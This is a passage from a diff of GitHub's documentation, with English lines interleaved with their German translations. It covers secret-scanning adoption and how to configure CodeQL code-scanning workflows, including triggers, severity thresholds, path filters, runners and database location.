Du kannst auch mit der Geheimnisüberprüfung auch einen Pushschutz aktivieren. Sobald die Geheimnisüberprüfung aktiviert ist, werden Pushes für hoch vertrauliche Geheimnisse geprüft und blockiert. Weitere Informationen findest du unter [Schützen von Pushs mit Geheimnisüberprüfung](/code-security/secret-scanning/protecting-pushes-with-secret-scanning#using-secret-scanning-as-a-push-protection-from-the-command-line).
{% endif %}
As you continue to build your remediation processes for other secret types, start to create proactive training material that can be shared with all developers of GitHub in your organization. Until this point, a lot of the focus has been reactive. It is an excellent idea to shift focus to being proactive and encourage developers not to push credentials to GitHub in the first place. This can be achieved in multiple ways but creating a short document explaining the risks and reasons would be a great place to start.
Während du deine Prozesse zur Bereinigung anderer Geheimnistypen weiterentwickelst, solltest du damit beginnen, proaktive Schulungsmaterialien zu erstellen, die in deiner Organisation für alle GitHub-Entwickler freigegeben werden können. Bis zu diesem Zeitpunkt lag der Schwerpunkt vor allem auf der Reaktion. Es ist eine ausgezeichnete Idee, den Fokus auf Proaktivität zu verlagern und Entwickler dazu zu ermutigen, Anmeldeinformationen gar nicht erst auf GitHub zu pushen. Dies kann auf verschiedene Weise geschehen, aber die Erstellung eines kurzen Dokuments, in dem die Risiken und Gründe erläutert werden, wäre ein guter Anfang.
{% note %}
This is the final article of a series on adopting {% data variables.product.prodname_GH_advanced_security %} at scale. If you have questions or need support, see the section on {% data variables.contact.github_support %} and {% data variables.product.prodname_professional_services_team %} in "[Introduction to adopting {% data variables.product.prodname_GH_advanced_security %} at scale](/code-security/adopting-github-advanced-security-at-scale/introduction-to-adopting-github-advanced-security-at-scale#github-support-and-professional-services)."
Dies ist der letzte Artikel einer Reihe zum Einführen von {% data variables.product.prodname_GH_advanced_security %} nach Maß. Wenn du Fragen hast oder Unterstützung benötigst, lies den Abschnitt zu {% data variables.contact.github_support %} und {% data variables.product.prodname_professional_services_team %} in [Informationen zur Einführung von {% data variables.product.prodname_GH_advanced_security %} nach Maß](/code-security/adopting-github-advanced-security-at-scale/introduction-to-adopting-github-advanced-security-at-scale#github-support-and-professional-services).
{% endnote %}

Просмотреть файл

@ -1,6 +1,6 @@
---
title: Configuring code scanning
intro: 'You can configure how {% data variables.product.prodname_dotcom %} scans the code in your project for vulnerabilities and errors.'
title: Konfigurieren der Codeüberprüfung
intro: 'Du kannst konfigurieren, wie {% data variables.product.prodname_dotcom %} Code in deinem Projekt auf Sicherheitsrisiken und Fehler überprüft.'
product: '{% data reusables.gated-features.code-scanning %}'
permissions: 'People with write permissions to a repository can configure {% data variables.product.prodname_code_scanning %} for the repository.'
miniTocMaxHeadingLevel: 3
@ -23,81 +23,80 @@ topics:
- JavaScript
- Python
shortTitle: Configure code scanning
ms.openlocfilehash: cad147292c113d749004f2fe303b27a4dada1456
ms.sourcegitcommit: dac72908e8660cb4a347fbf73beab61034eed8c5
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 11/25/2022
ms.locfileid: '148182314'
---
{% data reusables.code-scanning.beta %} {% data reusables.code-scanning.enterprise-enable-code-scanning-actions %}
{% ifversion ghes or ghae %} {% note %}
{% data reusables.code-scanning.beta %}
{% data reusables.code-scanning.enterprise-enable-code-scanning-actions %}
**Hinweis:** In diesem Artikel werden die Features beschrieben, die mit der Version der CodeQL-Aktion und dem zugehörigen CodeQL-CLI-Bundle im ursprünglichen Release dieser Version von {% data variables.product.product_name %} verfügbar sind. Wenn dein Unternehmen eine neuere Version der CodeQL-Aktion verwendet, findest du Informationen zu den neuesten Features unter [{% data variables.product.prodname_ghe_cloud %}](/enterprise-cloud@latest/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning). {% ifversion not ghae %} Informationen zur Verwendung der neuesten Version findest du unter [Konfigurieren der Codeüberprüfung für deine Appliance](/admin/advanced-security/configuring-code-scanning-for-your-appliance#configuring-codeql-analysis-on-a-server-without-internet-access).{% endif %}
{% ifversion ghes or ghae %}
{% note %}
{% endnote %} {% endif %}
**Note:** This article describes the features available with the version of the CodeQL action and associated CodeQL CLI bundle included in the initial release of this version of {% data variables.product.product_name %}. If your enterprise uses a more recent version of the CodeQL action, see the [{% data variables.product.prodname_ghe_cloud %} article](/enterprise-cloud@latest/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning) for information on the latest features. {% ifversion not ghae %} For information on using the latest version, see "[Configuring code scanning for your appliance](/admin/advanced-security/configuring-code-scanning-for-your-appliance#configuring-codeql-analysis-on-a-server-without-internet-access)."{% endif %}
## Informationen zum Konfigurieren von {% data variables.product.prodname_code_scanning %}
{% endnote %}
{% endif %}
Du kannst {% data variables.product.prodname_code_scanning %} mit {% data variables.product.prodname_actions %} in {% data variables.product.product_name %} oder auf deinem Continuous Integration(CI)-System ausführen. Weitere Informationen findest du unter [Informationen zu {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/about-github-actions) oder [Informationen zu {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} auf dem CI-System](/code-security/secure-coding/about-codeql-code-scanning-in-your-ci-system).
## About {% data variables.product.prodname_code_scanning %} configuration
In diesem Artikel wird beschrieben, wie {% data variables.product.prodname_code_scanning %} in {% data variables.product.product_name %} mithilfe von Aktionen ausgeführt wird.
You can run {% data variables.product.prodname_code_scanning %} on {% data variables.product.product_name %}, using {% data variables.product.prodname_actions %}, or from your continuous integration (CI) system. For more information, see "[About {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/about-github-actions)" or "[About {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} in your CI system](/code-security/secure-coding/about-codeql-code-scanning-in-your-ci-system)."
This article is about running {% data variables.product.prodname_code_scanning %} on {% data variables.product.product_name %} using actions.
Before you can configure {% data variables.product.prodname_code_scanning %} for a repository, you must set up {% data variables.product.prodname_code_scanning %} by adding a {% data variables.product.prodname_actions %} workflow to the repository. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)."
Bevor du {% data variables.product.prodname_code_scanning %} für ein Repository konfigurieren kannst, musst du {% data variables.product.prodname_code_scanning %} einrichten, indem du dem Repository einen Workflow für {% data variables.product.prodname_actions %} hinzufügst. Weitere Informationen findest du unter [Einrichten von {% data variables.product.prodname_code_scanning %} für ein Repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository).
{% data reusables.code-scanning.edit-workflow %}
{% data variables.product.prodname_codeql %} analysis is just one type of {% data variables.product.prodname_code_scanning %} you can do in {% data variables.product.prodname_dotcom %}. {% data variables.product.prodname_marketplace %}{% ifversion ghes %} on {% data variables.product.prodname_dotcom_the_website %}{% endif %} contains other {% data variables.product.prodname_code_scanning %} workflows you can use. {% ifversion fpt or ghec %}You can find a selection of these on the "Get started with {% data variables.product.prodname_code_scanning %}" page, which you can access from the **{% octicon "shield" aria-label="The shield symbol" %} Security** tab.{% endif %} The specific examples given in this article relate to the {% data variables.code-scanning.codeql_workflow %} file.
Die {% data variables.product.prodname_codeql %}-Analyse ist nur eine Art von {% data variables.product.prodname_code_scanning %}, die du in {% data variables.product.prodname_dotcom %} durchführen kannst. {% data variables.product.prodname_marketplace %}{% ifversion ghes %} auf {% data variables.product.prodname_dotcom_the_website %}{% endif %} enthält andere {% data variables.product.prodname_code_scanning %}-Workflows, die du verwenden kannst. {% ifversion fpt or ghec %}Du findest eine Auswahl dieser Workflows auf der Seite „Erste Schritte mit {% data variables.product.prodname_code_scanning %}“, auf die du über die Registerkarte **{% octicon "shield" aria-label="The shield symbol" %} Sicherheit** zugreifen kannst.{% endif %} Die in diesem Artikel angegebenen konkreten Beispiele beziehen sich auf die {% data variables.code-scanning.codeql_workflow %}-Datei.
## Editing a {% data variables.product.prodname_code_scanning %} workflow
## Bearbeiten eines {% data variables.product.prodname_code_scanning %}-Workflows
{% data variables.product.prodname_dotcom %} saves workflow files in the _.github/workflows_ directory of your repository. You can find a workflow you have added by searching for its file name. For example, by default, the workflow file for {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} is called _codeql-analysis.yml_.
In {% data variables.product.prodname_dotcom %} werden Workflowdateien im _.github/workflows_-Verzeichnis des Repositorys gespeichert. Du findest einen Workflow, den du hinzugefügt hast, indem du nach seinem Dateinamen suchst. Beispielsweise ist der Name der Workflowdatei für {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} standardmäßig auf _codeql-analysis.yml_ festgelegt.
1. In your repository, browse to the workflow file you want to edit.
1. In the upper right corner of the file view, to open the workflow editor, click {% octicon "pencil" aria-label="The edit icon" %}.
![Edit workflow file button](/assets/images/help/repository/code-scanning-edit-workflow-button.png)
1. After you have edited the file, click **Start commit** and complete the "Commit changes" form. You can choose to commit directly to the current branch, or create a new branch and start a pull request.
![Commit update to codeql.yml workflow](/assets/images/help/repository/code-scanning-workflow-update.png)
1. Navigiere in deinem Repository zu der Workflow-Datei, die du bearbeiten möchtest.
1. Klicke zum Öffnen des Workflow-Editors oben rechts in der Dateiansicht auf {% octicon "pencil" aria-label="The edit icon" %}.
![Schaltfläche zum Editieren der Workflow-Datei](/assets/images/help/repository/code-scanning-edit-workflow-button.png)
1. Nachdem du die Datei bearbeitet hast, klicke auf **Starr commit** (Commit starten), und fülle das Formular „Commit changes“ (Änderungen committen) aus. Du kannst einen Commit direkt in den aktuellen Branch committen oder einen neuen Branch erstellen und einen Pull Request starten.
![Durchführen des Commits der Aktualisierung in den codeql.yml-Workflow](/assets/images/help/repository/code-scanning-workflow-update.png)
For more information about editing workflow files, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)."
Weitere Informationen zum Bearbeiten von Workflowdateien findest du unter [Informationen zu {% data variables.product.prodname_actions %}](/actions/learn-github-actions).
## Configuring frequency
## Konfigurieren der Häufigkeit
You can configure the {% data variables.code-scanning.codeql_workflow %} to scan code on a schedule or when specific events occur in a repository.
Du kannst den {% data variables.code-scanning.codeql_workflow %} konfigurieren, um Code na Zeitplan zu überprüfen oder wenn bestimmte Ereignisse in einem Repository auftreten.
Scanning code when someone pushes a change, and whenever a pull request is created, prevents developers from introducing new vulnerabilities and errors into the code. Scanning code on a schedule informs you about the latest vulnerabilities and errors that {% data variables.product.company_short %}, security researchers, and the community discover, even when developers aren't actively maintaining the repository.
Scanning code on every push to the repository, and every time a pull request is created, prevents developers from introducing new vulnerabilities and errors into the code. Das Überprüfen von Code nach einem Zeitplan informiert dich über die neuesten Sicherheitsrisiken und Fehler, die {% data variables.product.company_short %}, Sicherheitsexperten und die Community entdecken, auch wenn Entwickler das Repository nicht aktiv verwalten.
### Scanning on push
### Überprüfen bei Push
By default, the {% data variables.code-scanning.codeql_workflow %} uses the `on.push` event to trigger a code scan on every push to the default branch of the repository and any protected branches. For {% data variables.product.prodname_code_scanning %} to be triggered on a specified branch, the workflow must exist in that branch. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#on)."
Standardmäßig wird vom {% data variables.code-scanning.codeql_workflow %} das `on.push`-Ereignis dazu verwendet, bei jeder Pushübertragung zum Standardbranch des Repositorys sowie zu geschützten Branches eine Codeüberprüfung auszulösen. Damit {% data variables.product.prodname_code_scanning %} auf einem bestimmten Branch ausgelöst wird, muss der Workflow in diesem Branch vorhanden sein. Weitere Informationen findest du unter [Workflowsyntax für {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#on).
If you scan on push, then the results appear in the **Security** tab for your repository. For more information, see "[Managing code scanning alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)."
Wenn du beim Pushen eine Überprüfung durchführst, werden die Ergebnisse auf der Registerkarte **Sicherheit** für das Repository angezeigt. Weitere Informationen findest du unter [Verwalten von Codeüberprüfungswarnungen für dein Repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository).
Additionally, when an `on:push` scan returns results that can be mapped to an open pull request, these alerts will automatically appear on the pull request in the same places as other pull request alerts. The alerts are identified by comparing the existing analysis of the head of the branch to the analysis for the target branch. For more information on {% data variables.product.prodname_code_scanning %} alerts in pull requests, see "[Triaging {% data variables.product.prodname_code_scanning %} alerts in pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)."
Wenn eine `on:push`-Überprüfung ein Ergebnis zurückgibt, das einem offenen Pull Request zugeordnet werden kann, werden diese Warnungen für den Pull Request automatisch am gleichen Ort wie andere Pull Request-Warnungen angezeigt. Die Warnungen werden identifiziert, indem die vorhandene Analyse des HEAD des Branch mit der Analyse für den Zielbranch verglichen wird. Weitere Informationen zu {% data variables.product.prodname_code_scanning %}-Warnungen in Pull Requests findest du unter [Selektieren von {% data variables.product.prodname_code_scanning %}-Warnungen in Pull Requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests).
### Scanning pull requests
### Überprüfen von Pull Requests
The default {% data variables.code-scanning.codeql_workflow %} uses the `pull_request` event to trigger a code scan on pull requests targeted against the default branch. {% ifversion ghes %}The `pull_request` event is not triggered if the pull request was opened from a private fork.{% else %}If a pull request is from a private fork, the `pull_request` event will only be triggered if you've selected the "Run workflows from fork pull requests" option in the repository settings. For more information, see "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#enabling-workflows-for-private-repository-forks)."{% endif %}
Im Standard-{% data variables.code-scanning.codeql_workflow %} wird das `pull_request`-Ereignis dazu verwendet, eine Codeüberprüfung bei Pull Requests auszulösen, die sich auf den Standardbranch beziehen. {% ifversion ghes %}Das `pull_request`-Ereignis wird nicht ausgelöst, wenn der Pull Request über einen privaten Fork geöffnet wurde.{% else %}Wenn ein Pull Request von einem privaten Fork ausgeht, wird das `pull_request`-Ereignis nur ausgelöst, wenn du in den Repositoryeinstellungen die Option „Run workflows from fork pull requests“ (Workflows von forkbasierten Pull Requests ausführen) ausgewählt hast. Weitere Informationen findest du unter [Verwalten von Einstellungen für {% data variables.product.prodname_actions %} für ein Repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#enabling-workflows-for-private-repository-forks).{% endif %}
For more information about the `pull_request` event, see "[Events that trigger workflows](/actions/learn-github-actions/events-that-trigger-workflows#pull_request)."
Weitere Informationen zum `pull_request`-Event findest du unter [Ereignisse, die Workflows auslösen](/actions/learn-github-actions/events-that-trigger-workflows#pull_request).
If you scan pull requests, then the results appear as alerts in a pull request check. For more information, see "[Triaging code scanning alerts in pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)."
Wenn du Pull Requests scannst, werden die Ergebnisse als Warnungen in einer Pull Request-Überprüfung angezeigt. Weitere Informationen findest du unter [Selektieren von Codeüberprüfungswarnungen in Pull Requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests).
Using the `pull_request` trigger, configured to scan the pull request's merge commit rather than the head commit, will produce more efficient and accurate results than scanning the head of the branch on each push. However, if you use a CI/CD system that cannot be configured to trigger on pull requests, you can still use the `on:push` trigger and {% data variables.product.prodname_code_scanning %} will map the results to open pull requests on the branch and add the alerts as annotations on the pull request. For more information, see "[Scanning on push](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#scanning-on-push)."
Wenn du den `pull_request`-Trigger verwendest, der so konfiguriert ist, dass anstelle des HEAD-Commits der Mergecommit des Pull Requests überprüft wird, führt dies zu effizienteren und genaueren Ergebnissen als eine HEAD-Überprüfung für den Branch bei jedem Pushvorgang. Wenn du jedoch ein CI/CD-System verwendest, das nicht für das Auslösen bei Pull Requests konfiguriert werden kann, kannst du trotzdem den `on:push`-Trigger verwendest. Von {% data variables.product.prodname_code_scanning %} werden die Ergebnisse dann offenen Pull Requests für den Branch zugeordnet. Die Warnungen werden als Anmerkungen für den Pull Request hinzugefügt. Weitere Informationen findest du unter [Überprüfen bei Push](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#scanning-on-push).
### Defining the severities causing pull request check failure
### Definieren der Schweregrade, die einen Fehler bei der Pull Request-Überprüfung verursachen
By default, only alerts with the severity level of `Error` or security severity level of `Critical` or `High` will cause a pull request check failure, and a check will still succeed with alerts of lower severities. You can change the levels of alert severities and of security severities that will cause a pull request check failure in your repository settings. For more information about severity levels, see "[About code scanning alerts](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-alerts#about-alert-details)."
Standardmäßig führen bei der Überprüfung von Pull Requests nur Warnungen mit dem Schweregrad `Error` oder dem Sicherheitsschweregrad `Critical` oder `High` zu einem Fehler, und eine Überprüfung mit Warnungen mit niedrigeren Schweregraden ist weiterhin erfolgreich. Du kannst die Stufen von Warnungsschweregraden und Sicherheitsschweregraden in deinen Repositoryeinstellungen ändern, die bei der Überprüfung von Pull Requests zu einem Fehler führen. Weitere Informationen zu Schweregradstufen findest du unter [Informationen zu Codeüberprüfungswarnungen](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-alerts#about-alert-details).
{% data reusables.repositories.navigate-to-repo %}
{% data reusables.repositories.sidebar-settings %}
{% data reusables.repositories.navigate-to-code-security-and-analysis %}
1. Under "Code scanning", to the right of "Check Failure", use the drop-down menu to select the level of severity you would like to cause a pull request check failure.
![Check failure setting](/assets/images/help/repository/code-scanning-check-failure-setting.png)
{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.navigate-to-code-security-and-analysis %}
1. Verwende unter „Code Scanning“ (Codeüberprüfung) rechts neben „Check Failure“ (Überprüfungsfehler) das Dropdownmenü, um den Schweregrad auszuwählen, den du als Auslöser für einen Pull Request-Überprüfungsfehler festlegen möchtest.
![Überprüfen der Fehlereinstellung](/assets/images/help/repository/code-scanning-check-failure-setting.png)
### Avoiding unnecessary scans of pull requests
### Vermeiden unnötiger Überprüfungen von Pull Requests
You might want to avoid a code scan being triggered on specific pull requests targeted against the default branch, irrespective of which files have been changed. You can configure this by specifying `on:pull_request:paths-ignore` or `on:pull_request:paths` in the {% data variables.product.prodname_code_scanning %} workflow. For example, if the only changes in a pull request are to files with the file extensions `.md` or `.txt` you can use the following `paths-ignore` array.
Möglicherweise möchtest du verhindern, dass ein Codescan für bestimmte Pull Requests ausgelöst wird, die sich auf den Standardbranch beziehen, und zwar unabhängig davon, welche Dateien geändert wurden. Du kannst dies konfigurieren, indem du im {% data variables.product.prodname_code_scanning %}-Workflow `on:pull_request:paths-ignore` oder `on:pull_request:paths` festlegst. Wenn die einzigen Änderungen in einem Pull Request z. B. Dateien mit den Dateierweiterungen `.md` oder `.txt` sind, kannst du das folgende `paths-ignore`-Array verwenden.
``` yaml
on:
@ -112,28 +111,28 @@ on:
{% note %}
**Notes**
**Hinweise**
* `on:pull_request:paths-ignore` and `on:pull_request:paths` set conditions that determine whether the actions in the workflow will run on a pull request. They don't determine what files will be analyzed when the actions _are_ run. When a pull request contains any files that are not matched by `on:pull_request:paths-ignore` or `on:pull_request:paths`, the workflow runs the actions and scans all of the files changed in the pull request, including those matched by `on:pull_request:paths-ignore` or `on:pull_request:paths`, unless the files have been excluded. For information on how to exclude files from analysis, see "[Specifying directories to scan](#specifying-directories-to-scan)."
* For {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} workflow files, don't use the `paths-ignore` or `paths` keywords with the `on:push` event as this is likely to cause missing analyses. For accurate results, {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} needs to be able to compare new changes with the analysis of the previous commit.
* Durch `on:pull_request:paths-ignore` und `on:pull_request:paths` werden Bedingungen festgelegt, die bestimmen, ob die Aktionen im Workflow bei einem Pull Request ausgeführt werden. Es wird nicht bestimmt, welche Dateien analysiert werden, wenn die Aktionen _tatsächlich_ ausgeführt werden. Wenn ein Pull Request alle Dateien enthält, die nicht mit `on:pull_request:paths-ignore` oder `on:pull_request:paths` übereinstimmen, führt der Workflow die Aktionen aus, und überprüft alle Dateien, die im Pull Request geändert wurden, einschließlich der mit `on:pull_request:paths-ignore` oder `on:pull_request:paths` übereinstimmenden, es sei denn, die Dateien wurden ausgeschlossen. Informationen zum Ausschließen von Dateien aus der Analyse findest du unter [Angeben von Verzeichnissen zum Überprüfen](#specifying-directories-to-scan).
* Verwende für {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %}-Workflowdateien nicht die Schlüsselwörter `paths-ignore` oder `paths` mit dem `on:push`-Ereignis, da dies wahrscheinlich zu fehlenden Analysen führt. Für genaue Ergebnisse müssen von {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} neue Änderungen mit der Analyse des vorherigen Commits verglichen werden können.
{% endnote %}
For more information about using `on:pull_request:paths-ignore` and `on:pull_request:paths` to determine when a workflow will run for a pull request, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#onpushpull_requestpull_request_targetpathspaths-ignore)."
Weitere Informationen dazu, wie mithilfe von `on:pull_request:paths-ignore` und `on:pull_request:paths` ermittelt wird, wann ein Workflow für einen Pull Request ausgeführt wird, findest du unter [Workflowsyntax für {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#onpushpull_requestpull_request_targetpathspaths-ignore).
### Scanning on a schedule
### Scannen nach einem Zeitplan
If you use the default {% data variables.code-scanning.codeql_workflow %}, the workflow will scan the code in your repository once a week, in addition to the scans triggered by events. To adjust this schedule, edit the `cron` value in the workflow. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#onschedule)."
Wenn du den standardmäßigen {% data variables.code-scanning.codeql_workflow %} ausführst, überprüft der Workflow zusätzlich zu den von Ereignissen ausgelösten Überprüfungen einmal wöchentlich den Code in deinem Repository. Um diesen Zeitplan anzupassen, bearbeite den `cron`-Wert im Workflow. Weitere Informationen findest du unter [Workflowsyntax für {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#onschedule).
{% note %}
**Note**: {% data variables.product.prodname_dotcom %} only runs scheduled jobs that are in workflows on the default branch. Changing the schedule in a workflow on any other branch has no effect until you merge the branch into the default branch.
**Hinweis**: Von {% data variables.product.prodname_dotcom %} werden nur geplante Aufträge ausgeführt, die sich in Workflows im Standardbranch befinden. Das Ändern des Zeitplans in einem Workflow in einem anderen Branch hat erst dann eine Auswirkung, wenn du den Branch mit dem Standardbranch zusammenführst.
{% endnote %}
### Example
### Beispiel
The following example shows a {% data variables.code-scanning.codeql_workflow %} for a particular repository that has a default branch called `main` and one protected branch called `protected`.
Im folgenden Beispiel wird ein {% data variables.code-scanning.codeql_workflow %} für ein bestimmtes Repository angezeigt, das einen Standardbranch mit der Bezeichnung `main` und einen geschützten Branch mit der Bezeichnung `protected` aufweist.
``` yaml
on:
@ -145,14 +144,14 @@ on:
- cron: '20 14 * * 1'
```
This workflow scans:
* Every push to the default branch and the protected branch
* Every pull request to the default branch
* The default branch every Monday at 14:20 UTC
Dieser Workflow scannt Folgendes:
* Jeden Pushvorgang in den Standardbranch und den geschützten Branch
* Jeden Pull Request an den Standardbranch
* Den Standardbranch jeden Montag um 14:20 UTC
## Specifying an operating system
## Angeben eines Betriebssystems
If your code requires a specific operating system to compile, you can configure the operating system in your {% data variables.code-scanning.codeql_workflow %}. Edit the value of `jobs.analyze.runs-on` to specify the operating system for the machine that runs your {% data variables.product.prodname_code_scanning %} actions. {% ifversion ghes %}You specify the operating system by using an appropriate label as the second element in a two-element array, after `self-hosted`.{% else %}
Wenn dein Code ein bestimmtes Betriebssystem zum Kompilieren benötigt, kannst du das Betriebssystem in deinem {% data variables.code-scanning.codeql_workflow %} konfigurieren. Bearbeite den Wert `jobs.analyze.runs-on`, um das Betriebssystem für den Computer anzugeben, auf dem die {% data variables.product.prodname_code_scanning %}-Aktionen ausgeführt werden. {% ifversion ghes %}Du gibst das Betriebssystem mithilfe einer entsprechenden Bezeichnung als zweites Element in einem aus zwei Elementen bestehenden Array nach `self-hosted` an.{% else %}
``` yaml
jobs:
@ -161,7 +160,7 @@ jobs:
runs-on: [ubuntu-latest]
```
If you choose to use a self-hosted runner for code scanning, you can specify an operating system by using an appropriate label as the second element in a two-element array, after `self-hosted`.{% endif %}
Wenn du einen selbstgehosteten Runner für die Codeüberprüfung verwenden möchtest, kannst du ein Betriebssystem mithilfe einer geeigneten Bezeichnung als zweites Element in einem aus zwei Elementen bestehenden Array nach `self-hosted` angeben.{% endif %}
``` yaml
jobs:
@ -170,15 +169,15 @@ jobs:
runs-on: [self-hosted, ubuntu-latest]
```
{% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} supports the latest versions of Ubuntu, Windows, and macOS. Typical values for this setting are therefore: `ubuntu-latest`, `windows-latest`, and `macos-latest`. For more information, see "[Choosing the runner for a job](/actions/using-jobs/choosing-the-runner-for-a-job)" and "[Using labels with self-hosted runners](/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners)."
{% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} unterstützt die neuesten Versionen von Ubuntu, Windows und macOS. Typische Werte für diese Einstellung sind daher: `ubuntu-latest`, `windows-latest`und `macos-latest`. Weitere Informationen findest du unter [Auswählen des Runners für einen Auftrag](/actions/using-jobs/choosing-the-runner-for-a-job) und [Verwenden von Bezeichnungen mit selbstgehosteten Runnern](/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners).
{% ifversion ghes %}You must ensure that Git is in the PATH variable on your self-hosted runners.{% else %}If you use a self-hosted runner, you must ensure that Git is in the PATH variable.{% endif %} For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)" and "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)."
{% ifversion ghes %}Du musst sicherstellen, dass Git bei deinen selbstgehosteten Runnern in der Variable PATH enthalten ist.{% else %}Wenn du einen selbstgehosteten Runner verwendest, musst du sicherstellen, dass Git in der Variable PATH enthalten ist.{% endif %} Weitere Informationen findest du unter [Informationen zu selbstgehosteten Runnern](/actions/hosting-your-own-runners/about-self-hosted-runners) und [Hinzufügen selbstgehosteter Runner](/actions/hosting-your-own-runners/adding-self-hosted-runners).
For recommended specifications (RAM, CPU cores, and disk) for running {% data variables.product.prodname_codeql %} analysis{% ifversion not ghes %} on self-hosted machines{% endif %}, see "[Recommended hardware resources for running {% data variables.product.prodname_codeql %}](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/recommended-hardware-resources-for-running-codeql)."
Empfohlene Spezifikationen (RAM, CPU-Kerne und Datenträger) zum Ausführen der {% data variables.product.prodname_codeql %}-Analyse{% ifversion not ghes %} auf selbstgehosteten Computern{% endif %} findest du unter [Empfohlene Hardwareressourcen zum Ausführen von {% data variables.product.prodname_codeql %}](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/recommended-hardware-resources-for-running-codeql).
## Specifying the location for {% data variables.product.prodname_codeql %} databases
## Angeben des Speicherorts für {% data variables.product.prodname_codeql %}-Datenbanken
In general, you do not need to worry about where the {% data variables.code-scanning.codeql_workflow %} places {% data variables.product.prodname_codeql %} databases since later steps will automatically find databases created by previous steps. However, if you are writing a custom workflow step that requires the {% data variables.product.prodname_codeql %} database to be in a specific disk location, for example to upload the database as a workflow artifact, you can specify that location using the `db-location` parameter under the `init` action.
Im Allgemeinen musst du dir keine Gedanken darüber machen, wo {% data variables.code-scanning.codeql_workflow %}-Datenbanken vom {% data variables.product.prodname_codeql %} platziert werden, da in späteren Schritten automatisch Datenbanken ermittelt werden, die in vorherigen Schritten erstellt wurden. Wenn du jedoch einen benutzerdefinierten Workflowschritt schreibst, der es erforderlich macht, dass sich die {% data variables.product.prodname_codeql %}-Datenbank an einem bestimmten Speicherort des Datenträgers befindet, z. B. zum Hochladen der Datenbank als Workflowartefakt, kannst du diesen Speicherort mithilfe des Parameters `db-location` unter der Aktion `init` angeben.
``` yaml
- uses: {% data reusables.actions.action-codeql-action-init %}
@ -186,21 +185,21 @@ In general, you do not need to worry about where the {% data variables.code-scan
db-location: {% raw %}'${{ github.workspace }}/codeql_dbs'{% endraw %}
```
The {% data variables.code-scanning.codeql_workflow %} will expect the path provided in `db-location` to be writable, and either not exist, or be an empty directory. When using this parameter in a job running on a self-hosted runner or using a Docker container, it's the responsibility of the user to ensure that the chosen directory is cleared between runs, or that the databases are removed once they are no longer needed. {% ifversion fpt or ghec or ghes %} This is not necessary for jobs running on {% data variables.product.prodname_dotcom %}-hosted runners, which obtain a fresh instance and a clean filesystem each time they run. For more information, see "[About {% data variables.product.prodname_dotcom %}-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners)."{% endif %}
